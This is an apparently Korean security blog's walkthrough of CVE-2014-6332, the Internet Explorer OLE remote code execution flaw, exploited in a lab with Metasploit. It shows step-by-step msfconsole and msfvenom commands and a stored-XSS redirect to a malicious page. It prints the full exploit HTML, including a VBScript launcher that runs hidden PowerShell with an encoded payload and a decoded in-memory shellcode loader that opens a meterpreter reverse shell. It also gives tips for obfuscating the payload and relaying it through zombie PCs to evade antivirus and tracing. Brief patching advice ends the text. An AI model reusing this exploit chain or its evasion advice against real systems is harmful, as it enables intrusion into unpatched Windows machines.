취약점 개요

2014년 10월 22일 인터넷 익스플로러(Internet Explorer)가 OLE(Object Linking and Embedding) 객체를 처리하는 과정에서 원격 코드 실행(RCE, Remote Code Execution)이 가능한 제로 데이(Zero-Day) 취약점이 발견됐다.


취약점에 노출된 사용자가 변조된 웹 페이지를 클릭하면 갓모드(GodMode)가 실행된다.


갓모드가 실행되면 현재 로그인 중인 권한으로 악성코드를 다운로드 및 실행되어 침해사고가 발생하게 된다. 본 분석 보고서는 해당 취약점을 이용해 사용자 시스템을 공격, 취약점 분석, 대응 방안 단계로 진행한다.

 


공통 취약점 평가 체계(CVSS, Common Vulnerability Scoring System)에서 보는 바와 같이 위험도가 높은 만큼 심각한 취약점이라고 판단된다.


구분 내용
취약점 이름 CVE-2014-6332
발생 날짜 2014.10.22
패치 날짜 2014.11.12 (KB3011443)
취약점 위험도 높음(CVSS: 9.3)
접근 경로 네트워크
접근 복잡성 중간
인증 없음
기밀성 전부
무결성 전부
가용성 전부
취약점 종류 원격 코드 실행

모든 버전의 운영체제 및 웹 브라우저를 사용하는 사용자에게 취약점이 노출되어 있다.


제품 종류 제조 회사 제품명 버전 서비스팩
운영체제 Microsoft Winodws 7 - SP1
운영체제 Microsoft Windows 8 - -
운영체제 Microsoft Windows 8.1 - -
운영체제 Microsoft Windows RT - Gold
운영체제 Microsoft Windows 8.1 - -
운영체제 Microsoft Windows Vista - SP2
운영체제 Microsoft Windows Server 2003 - SP2
운영체제 Microsoft Windows Server 2008 - SP2
운영체제 Microsoft Windows Server 2008 R2 SP1
운영체제 Microsoft Windows Server 2012 - Gold
운영체제 Microsoft Windows Server 2012 R2 -

취약점이 발생한 모듈과 매개변수는 다음과 같다.


구분 내용
취약점 발생 모듈 모듈명 : oleaut32.dll
버전 : 5.1.2600.5512
취약점 발생 매개변수 SAFEARRAYBOUND.cElements

용어 정리
OLE 객체
문서 편집 프로그램에서 문서 파일이 객체가 되고, 음악 재생 프로그램에서 음악 파일이 객체가 된다. 즉, 객체는 윈도우 응용프로그램마다 사용하는 글자, 표, 그림, 소리 등 매우 다양하다.


OLE 객체는 기본적으로 윈도우 운영체제에서 지원하는 기능으로 각 응용프로그램이 생성한 독립적인 자료(객체)들을 하나의 응용프로그램에서 다양하게 사용할 수 있는 것을 말한다.


예를 들면, 아래아한글에 OLE객체로 엑셀의 차트를 삽입하거나 음악 재생 프로그램의 필요한 설명문을 문서 편집 프로그램을 이용해서 만든 다음 그 자료를 음악 재생 프로그램에 포함할 수 있다.


단, 다른 프로그램의 개체를 포함하기 위해서는 OLE 객체가 사용된 프로그램이 설치되어 있어야 한다.


갓모드
갓모드는 윈도우 운영체제의 모든 설정을 보거나 변경할 수 있다.


예를 들면, 인터넷 익스플로러는 비주얼 베이직 스크립트를 이용하여 시스템 명령어를 실행하는 것을 보안상의 이유로 제한한다. 하지만, 갓모드를 이용하면 비주얼 베이직 스크립트를 이용하여 시스템 명령어가 실행된다.

CVE
CVE(Common Vulnerabilities and Exposure)는 국제 공통 표준으로 세계에서 공개된 소프트웨어의 보안 취약점을 가리키는 고유 표기를 뜻한다.


CVE값은 CVE문자-취약점이 발견된 년도-취약점 번호로 만들어 진다. 예를 들면, CVE-2016-0001 취약점은 2016년도에 첫 번째로 발견된 취약점을 뜻한다.


하지만, 기존의 사용되던 CVE값으로 표현할 수 있는 취약점 갯수는 최대 9,999개의 취약점 식별번호를 지원할 수 있기 때문에, CVE 편집 위원회와 미국 비영리 회사(MITRE사)는 2015년 1월 13일부터 CVE 체계를 10,000개 이상의 취약점에 이름을 매길 수 있도록 자릿수 제한을 없앴다.

공통 취약점 평가 체계
전세계적으로 사용하는 소프트웨어의 보안 취약점을 결정하는 등급으로 기본 점수(Base Score) 6개 항목으로 등급을 선정한다.


6개 항목은 Access Vector, Access Complexity, Authentication, Confidentiality Impact, Integrity Impact, Availability Impact이며, 0 ~ 10점으로 등급이 매겨진다.

침해사고 사례

해당 취약점은 윈도우 7 이상의 운영체제, 인터넷 익스플로러 3.0부터 11까지 영향을 줄 수 있는 범위도 넓다. 이런 사용자를 대상으로 공격자가 조작한 웹 페이지를 클릭하면 자동으로 악성 코드가 다운로드 및 실행된다.


이 때, 사용된 악성코드는 랜섬웨어, DDOS(Distributed Denial of Service), RAT(Remote Administration Tools) 등 다양하다.

 

국내 주요 사이트도 악성코드를 유포하는데 악용되기도 했다. 아래의 기사는 관리되지 않은 채 방치된 웹 사이트를 대상으로 공격자가 갓모드를 이용해 DDOS 악성코드 유포지로 악용된 사례이다.


취약점을 이용한 악용 사례


실습 환경

구분 운영체제 아이피
웹 서버 Metasploitablev2 DVWA 10.10.0.20
공격자 Kali Linux 2016.01 10.10.0.22
희생자 Windows 7 SP1 IE9 10.10.0.33

취약점 공격

취약점을 악용한 사례를 보면 사용자가 변조된 웹 페이지를 클릭만 하면 드라이브 바이 다운로드(DBD, Drive By Download) 공격으로 자신의 시스템에 악성 파일이 다운로드 및 실행된다.


이 때, 사용된 악성 파일은 백도어, 랜섬웨어, 원격 조정 등 다양하다.


본 실습은 메타스플로잇 프레임워크(MSF, Metasploit FrameWork)에서 제공하는 메터프리터쉘(Meterpreter Shell)을 이용하여 내부 시스템을 침투하는 단계로 진행되며, 공격 시나리오는 다음과 같다.

 

구분 내용
1 공격자는 웹 사이트에 존재하는 취약점 검색
2 공격자는 웹 취약점(파일 업로드, 크로스 사이트 스크립팅, 광고 이미지 서버 변조 등)을 이용해 *.html로 이동되도록 스크립트 삽입
3 사용자는 해당 게시물을 클릭
4 사용자의 웹 브라우저에서 *.html이 실행되어 공격자와 세션이 맺어짐
5 공격자는 사용자 시스템 점령 후 추가적인 공격 감행

취약점 공격 코드 생성

공격 시나리오대로 공격을 하기 전 공격자는 취약점을 유발하고, 해당 취약점을 이용해서 실질적으로 공격을 수행하는 *.html을 생성해야 한다.


칼리 리눅스에서 msfconsole을 구동하여 CVE-2014-6332을 검색하면 ms14_064_ole_code_execution 모듈이 검색된다. 해당 모듈을 선택하면 다양한 옵션이 존재한다.


○ service postgresql restart; msfdb init; msfconsole

○ search CVE-2014-6332

○ use exploit/windows/browser/ms14_064_ole_code_execution

○ show options


모듈 옵션 정보


모듈의 옵션을 보면 Required가 yes 또는 no인 옵션이 존재한다. yes인 옵션은 반드시 설정해야 할 옵션이고, no인 옵션은 필요에 따라 설정하는 옵션이다.


Required가 yes인 옵션 중에 AllowPowershellPrompt, TRYUAC 옵션을 true로 설정하고, 공격 대상(target)을 1번으로 설정한다.


○ AllowPowershellPrompt : 파워쉘을 이용하여 취약점 공격 수행 유무

○ TRYUAC : 관리자 권한 상승 유무

○ target(1) : 공격 대상이 윈도우 7


모듈 옵션 설정


exploit 명령어를 입력하면 취약점을 유발하고, 실질적인 공격을 수행하는 웹 페이지 주소가 출력된다. 현재 핸들러를 열어 놓고, 웹 페이지 주소를 클릭해주기를 기다리는 상태이다.


모듈 옵션을 설정할 때, 메터프리터쉘 페이로드를 설정하지 않았다. exploit 명령어를 입력하면 기본적으로 메터프리터쉘 페이로드가 설정되므로 따로 지정하지 않는 것이다.


대기 상태


윈도우 7에서 http://10.10.0.22:8080/NEWARu 웹 페이지 주소로 접속하면 화면이 아무것도 보이지 않는다. 해당 모듈이 애초부터 빈 화면만 나오도록 구현되어 있으므로 빈 화면만 보인다.


만약, 웹 페이지 주소로 접속했는데 HTTP 404 에러 페이지가 보인다면, 모듈 옵션 설정이 잘못 되었거나 모듈 조건과 일치 하지 않아 발생한다.


웹 페이지 접속


웹 페이지 주소로 접속했을 때 패킷을 캡처하면 칼리 리눅스로 총 7개의 파일을 요청한다. 각 파일에 대해 간략히 살펴보면 NEWARu 파일은 취약점 공격을 하기 앞서 공격 조건이 맞는지 확인하기 위해 이 파일을 희생자 PC로 전송한다.


이 파일에는 운영체제 정보를 수집하기 위한 코드가 저장되어 있다.


ShWXh 파일은 희생자 PC의 운영체제, 인터넷 익스플로러, 자바, 플래시 플레이어 등의 버전 정보가 Base64 인코딩 되어 있다.


XRYPaL 파일은 취약점을 유발하고, 공격을 수행하는 코드가 존재한 파일이다. XRYPaL 파일을 선택하고, Save As 버튼을 클릭해서 daze.html로 저장한다.


○ File > Export Objects > HTTP


요청 시 패킷


윈도우 7이 취약점 조건과 일치하므로 실질적인 공격을 수행하는 페이로드(Stages)를 전송한다. 페이로드가 실행되면 메타프리터 쉘의 세션이 열린다.


제어권 획득


html로 저장하는 이유
칼리 리눅스에서 exploit 명령어를 입력하면 http://10.10.0.22:8080/NEWARu 웹 페이지 주소가 나온다.

공격자가 웹 서비스를 제공하는 웹 사이트에 해당 페이지 주소를 삽입하면 공격자 아이피가 노출되고, 코드가 복잡하지 않아 어떤 행위를 했는지 쉽게 파악할 수 있다.

하지만, html로 만든다면 공격자 아이피 및 코드를 분석하는데 시간이 오래 걸린다. html을 만들고 배포하는 단계는 다음과 같다.


첫째, 실질적으로 공격을 수행하는 코드에 커스텀 인코딩, 난독화 기법 등을 적용한다. msfvenom, 베일 프레임워크 등을 이용하면 이런 기법을 적용할 수 있으며, 백신에 잘 탐지되지 않고, 코드를 분석하는데 시간이 오래 걸린다.

둘째, 제작한 html을 좀비 PC에 심어 놓고, 좀비 PC에 존재하는 html로 이동시키도록 웹 페이지에 스크립트를 삽입한다. 또는, 하나의 대상만 거치는 것이 아닌 여러 개의 대상을 거쳐서 공격을 하면 탐지될 확률이 낮아 진다.

셋째, 사용자가 조작된 웹 페이지를 클릭하면 좀비 PC에 존재하는 html로 이동되어 공격자는 사용자의 제어권을 획득하게 된다.

본 분석 보고서는 메타스플로잇 프레임워크에서 기본적으로 제공하는 옵션만 사용하고, 피버팅 공격은 다루지 않는다.

페이로드 종류
Singles 공격자 PC에서 희생자 PC로 익스플로잇과 페이로드를 한 번에 보냄
Stagers 공격자 PC와 희생자 PC를 연결 후 Stages 코드(익스플로잇)를 로드
Stages 실질적인 공격을 수행하는 페이로드

시스템 내부 침투 공격

공격자가 제작한 daze.html에 사용자가 접속하게 만들려면 웹 취약점, 광고 이미지 서버, 피싱 메일 등이 존재한다. 본 실습은 DVWA에 존재하는 크로스 사이트 스크립팅 취약점을 이용한다.


공격자는 웹 페이지에 크로스 사이트 스크립팅 취약점이 존재하는 것을 파악했고, daze.html로 이동되도록 스크립트를 삽입한다.


스크립트 삽입


daze.html은 공격자 PC에서 웹 서비스 형태로 동작해야 하므로 웹 루트 디렉토리에 daze.html이 존재해야 한다. 또한, 희생자 PC와 세션이 맺어지기 위해 핸들러를 생성하고, 백그라운드 모드로 익스플로잇을 실행한다.


핸들러 생성


공격자가 작성한 게시글을 희생자가 클릭하면 스크립트가 없고, 문자열만 출력된다.


게시글 클릭


프로세스를 보면 파워쉘이 실행되고 있고, TCP/IP에 공격자 PC와 세션이 맺어져 있다.


프로세스


희생자는 자기 자신도 모르게 내부적으로 스크립트가 실행되어 공격자 PC에 존재하는 daze.html 페이지로 이동된다. 해당 페이지로 이동되면 실질적으로 공격을 수행하는 코드가 실행되어 공격자와 세션이 맺어진다


제어권 획득


취약점 공격 코드 상세 분석

희생자가 게시글 클릭 시 패킷을 보면 희생자 아이피와 서버 아이피만 존재하고, 공격자 아이피는 존재하지 않는다. 또한, 희생자가 접근한 웹 페이지 주소만 존재하고, daze.html 페이지는 존재하지 않는다.


게시글 클릭 시 패킷


인터넷 익스플로러로 웹 페이지를 접속하면 접속한 로그가 임시 인터넷 파일에 기록된다. 임시 인터넷 파일이 존재한 디렉토리로 이동하면 daze.html이 저장되어 있다.


임시 인터넷 파일


daze.html 파일은 비주얼 베이직 스크립트로 상단에는 실질적으로 공격을 수행하는 공격 코드와 취약점을 유발시키는 코드가 존재한다. 본 취약점 공격 코드 상세 분석에서는 공격 코드만 살펴보기로 한다.


공격 코드를 보면 Bse64 인코딩된 문자열을 디코딩하고, GzipStream()으로 볼 때 파일 형식이 gzip인 것으로 추측된다.


<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "-nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String (''H4sIAJwqUVgCA7VWf2/aOhT9u5P2HaIJKYlKIQXaskqTHgQCFEJTwo8WhiaTOMTFiYPjUMLevvtzIGnp2zr1TXoREo59r319zrn3xol8iyHiC8wfaeOl8P3jhxMDUOAJUi5YrAeBOswLubjmfZNPTvhaDja+1apxbal5D0/CF0Ga1YKgQTyA/Pn1tRpRCn12eC+0IKuFIfQWGMFQkoW/hYkLKTy7XTxCiwnfhdy3QguTBcCpWawCy4XCWc23k7UesUASW8EMMGKS+PWrKM/OzueF5joCOJREMw4Z9Ao2xqIs/JCTA4dxACVRRxYlIXFYYYL8cqkw8kPgwD7fbQN1yFxih6LMb8N/FLKI+sKreyUbHcwkkQ8NSqyabVMYcq9Cx9+QFZRyfoRxXvhLmqVRDCKfIQ/ydQYpCUxIN8iCYaENfBvDAXTmUh8+ZZd/r5N07MStDEblPOfmN+HqxI4wPOwgyj8HnPEq8yfjloPx4+OHjx+cTA42Uer4Rl3Abks9FgUfncz2Y8gjlgwSor39F0HJCzo/EzBCY/6aG9IIynNhljAym8+FnGXWWP5t//PMmJsGZLxmq0FY4fOzMUH2nPulhOUIo8zRLa1TIsny2/prQAf5sBH7wENWJjHpVyxAB8P9vQuZWZ8HKInpArQbEMMlYAmeeWH2s1vTQ+zZtx4hbENasziTIY+Kkyy/DuZAkSR2fB16HK/Du8jZcLiwYWadijnOTk/euZGoYhCGecGIeGZZecGEAEM7L9T8EKVLtYiR/VB8CVePMEMWCFm23Vz+F5zpsSrxQ0YjizPJIRiaAbQQwAkieaGNbFiPTbTMjhd/iYcKMEb+ku+04XzwmQQHkyX6oDzSvRbkgglZxwsw9LjNPtM1DJY8r9Os2AsKLKEtvhFoJvqDwhNkMkiOwuR0m5iwvDBGlPG6kaD8rK8/C+WobBwHpVKYkiRl+TSrxyxRfw6MVk0H3zYTxaZw7cGhjAOjUeLVQQgvKyajHDbpU+mzMbXVoTLZGTfhCF5GlXqrTAxabGhDrdYf0lJ310HO0uhHZXcxOnXJBJlXy3NSrygbaHZ3V/py03YvtGL/QvEi89T0KrbecHf3I629q/plPldqhW7vvOMHO9guVh8mmm8Ooht3unZUdRMMerftATIjV0On7THwr66aq6376K037Y5HlA2xumWz415A7X6sDZFJxreVEjt9hMHNpnR/294BvdT07kr3BrrfnoftxbQ43qKR9tQZnGMn1ovrnhHc3S2iUmtUrUZDvayszKpprNXLOhp1LtrxVN82FxyXxWS8fqzjK7BuaVUSD6bjUX1kP4yrw1XVQxdTo1xvVz/XmFFiHVsPuxh0t436eX1g9SY9bRJrftjWVHfQCVD1Pro3ulr57qYIYX/3dKoWl2vj86ay9rztqd7rVwAtN4c7J+jAInNXxroxaE7LTouUca/5oBgBaH75lEiAayC3Xiij8WjR1I5Ifaug64CGLsCcbF6hswTUCNXSgmsQlHhIUtqHV5D6EPPWxZtbptwaxsRKqv+r4sw70KEvzHkmjviwXPrlSBaeDeWXrpBNXV9Pebw8HTKhFnrQXzI3r2zLisJru7KtKPzi77+nSoJYet4un/SHF8SOD8L7g+QkXXJkxcKu/n/jmSaqy//s9+L5Mveb1XdhrOSPcPhp7fXEf0L8D5CYAMS4rcmLDoaHpvh7QFItHX1WHCjjOnHSJ/nQu43YWZ9/b/wDRR5LDl8KAAA=''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream ($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);", "", "runas", 0
end function
</script>
<script language="VBScript">
 
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

온라인 Base64 인코딩/디코딩 사이트로 이동하여 FromBase64String() 함수 안에 있는 문자열을 Input text 입력 폼에 붙여 넣고, Decoded 버튼을 클릭하면 디코딩된다.


하지만, 디코딩 된 문자열을 보면 알 수 없는 문자열이므로 하단의 Download as a binary file 버튼을 클릭하여 바이너리 파일로 저장한다.


▶ Base64 인코딩/디코딩


Base64 디코딩


저장된 파일은 확장자가 dat 형식이므로 텍스트 편집기로 열어도 문자열이 깨져서 보인다. daze.html에서 확인했을 때 파일 형식이 gzip인것을 추측하여 압축 파일 해제 프로그램으로 풀어보면 파워쉘 코드가 보인다.


function tnUFVg {
    Param ($pbqRpCT, $yAm_)        
    $eD_A8yAgFmYw = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    
    return $eD_A8yAgFmYw.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($eD_A8yAgFmYw.GetMethod('GetModuleHandle')).Invoke($null, @($pbqRpCT)))), $yAm_))
}
 
function do0BlJCbeKGC {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cSAt,
        [Parameter(Position = 1)] [Type] $poVqtkRs4 = [Void]
    )
    
    $otrtfMcFI2o = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $otrtfMcFI2o.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $cSAt).SetImplementationFlags('Runtime, Managed')
    $otrtfMcFI2o.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $poVqtkRs4, $cSAt).SetImplementationFlags('Runtime, Managed')
    
    return $otrtfMcFI2o.CreateType()
}
 
[Byte[]]$aUkEflOE = [System.Convert]::FromBase64String("29PZdCT0WzPJsUe6u4BG3oPr/DFTFANTr2KzIifgPNu3hbU+hoWiS7g1oB40veSKz7MgvHh5F/N50muS+Sm4dMDhzXUFHz8n3muS2GshL1InpzeH/8YWFnSRuJhZqfCCvpRLOHRiSuhFi+HVan77EkxhjmqvHImo0vocK3SIh5eFXVFTiSoVO42t+jepJv2XOHzaM2EmQ2XPiXx1sHbZ/VxiUFwIR1lfyM/qLPpQQbu2GU88uTM30kS8SPqC6BiUI5HyZMxEbmBabWVqjBl7aqGF8oyRZVUBUdYV8Tk8mi5ZP3BH89AtP2tIdMsKlaKxDB1BRcLWLFWyFnsHFChRIpi8XuXPKF3QJ/eeNzw+C/gqP9v4qmmx+MLN4ar3ETzfpIe/thkPqDREZ3fGo3lLEY0PpaE=")
        
$qb0UVUbEF = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll VirtualAlloc), (do0BlJCbeKGC @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $aUkEflOE.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($aUkEflOE, 0, $qb0UVUbEF, $aUkEflOE.length)
 
$oktsKM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll CreateThread), (do0BlJCbeKGC @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$qb0UVUbEF,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll WaitForSingleObject), (do0BlJCbeKGC @([IntPtr], [Int32]))).Invoke($oktsKM,0xffffffff) | Out-Null

aUkEflOE 변수에 인코딩 된 문자열이 보이므로 Base64 디코딩하여 바이너리 파일로 저장했다. 저장된 파일을 헥사에디터로 보면 원하는 결과를 확인하기 어려우므로 파워쉘 코드를 분석하기로 한다.


aUkEflOE 디코딩


tnUFVg 함수는 함수 포인터를 반환하는 역할을 한다. qb0UVUbE 변수에 지정된 kernel32.dll VirtualAlloc, oktsKM 변수에 지정된 kernel32.dll CreateThread가 인자로 전달되어 kernel32.dll의 함수 포인터를 반환하게 된다.


function tnUFVg {
    Param ($pbqRpCT, $yAm_)        
    $eD_A8yAgFmYw = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    
    return $eD_A8yAgFmYw.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($eD_A8yAgFmYw.GetMethod('GetModuleHandle')).Invoke($null, @($pbqRpCT)))), $yAm_))
}

do0BlJCbeKGC 함수는 InMemoryModule 이름의 동적인 메모리 모듈을 생성하고, 동적인 코드를정의한다. 해당 메모리의 함수 코드를 실행할 데이터 타입을 반환한다.


function do0BlJCbeKGC {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cSAt,
        [Parameter(Position = 1)] [Type] $poVqtkRs4 = [Void]
    )
    
    $otrtfMcFI2o = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $otrtfMcFI2o.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $cSAt).SetImplementationFlags('Runtime, Managed')
    $otrtfMcFI2o.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $poVqtkRs4, $cSAt).SetImplementationFlags('Runtime, Managed')
    
    return $otrtfMcFI2o.CreateType()
}

qb0UVUbEF, oktsKM 변수에 존재하는 GetDelegateForFunctionPointer 함수는 특정 메모리에 위치한 함수를 실행할 때 사용하는 함수이다. 즉, 메모리 상에 aUkEflOE 변수의 코드가 실행하게 된다.


[Byte[]]$aUkEflOE = [System.Convert]::FromBase64String("29PZdCT0WzPJsUe6u4BG3oPr/DFTFANTr2KzIifgPNu3hbU+hoWiS7g1oB40veSKz7MgvHh5F/N50muS+Sm4dMDhzXUFHz8n3muS2GshL1InpzeH/8YWFnSRuJhZqfCCvpRLOHRiSuhFi+HVan77EkxhjmqvHImo0vocK3SIh5eFXVFTiSoVO42t+jepJv2XOHzaM2EmQ2XPiXx1sHbZ/VxiUFwIR1lfyM/qLPpQQbu2GU88uTM30kS8SPqC6BiUI5HyZMxEbmBabWVqjBl7aqGF8oyRZVUBUdYV8Tk8mi5ZP3BH89AtP2tIdMsKlaKxDB1BRcLWLFWyFnsHFChRIpi8XuXPKF3QJ/eeNzw+C/gqP9v4qmmx+MLN4ar3ETzfpIe/thkPqDREZ3fGo3lLEY0PpaE=")
        
$qb0UVUbEF = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll VirtualAlloc), (do0BlJCbeKGC @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $aUkEflOE.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($aUkEflOE, 0, $qb0UVUbEF, $aUkEflOE.length)
 
$oktsKM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll CreateThread), (do0BlJCbeKGC @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$qb0UVUbEF,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tnUFVg kernel32.dll WaitForSingleObject), (do0BlJCbeKGC @([IntPtr], [Int32]))).Invoke($oktsKM,0xffffffff) | Out-Null

aUkEflOE 변수에 할당된 코드는 메모리 기반의 데이터이다. msfvenom 명령어로 생성한 난독화 되지 않는 파워쉘 스크립트를 보면 분석한 코드와 동일한 역할을 한다.


○ msfvenom -p windows/meterpreter_reverse_tcp --format psh --o daze.ps1


$YfZKtyUVt = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
 
$abGKqmMTSuv = Add-Type -memberDefinition $YfZKtyUVt -Name "Win32" -namespace Win32Functions -passthru
 
[Byte[]] $AFQgRcrogv = 0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5, ...
 
$HpGIZbeHhRrsHNi = $abGKqmMTSuv::VirtualAlloc(0,[Math]::Max($AFQgRcrogv.Length,0x1000),0x3000,0x40)
 
[System.Runtime.InteropServices.Marshal]::Copy($AFQgRcrogv,0,$HpGIZbeHhRrsHNi,$AFQgRcrogv.Length)
 
$abGKqmMTSuv::CreateThread(0,0,$HpGIZbeHhRrsHNi,0,0,0)

대응 방안

1. 윈도우 업데이트

윈도우 패치(KB3011443)가 적용되지 않는 시스템은 윈도우 업데이트를 실시하고, 항상 주기적으로 실행하여 사전에 악성코드를 예방할 필요가 있다.


2. 백신 활성화

최신 엔진으로 백신을 업데이트하고, 실시간 감시 기능을 활성화해야 한다.


▶ Metasploit msfconsole 사용법 및 활용

▶ Metasploit meterpreter 기능 및 사용법

▶ Metasploit msfvenom 기능 및 사용법

▶ Metasploit(msfvenom) 쉘코드 디코딩

▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

▶ 악성메일 공격패턴

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유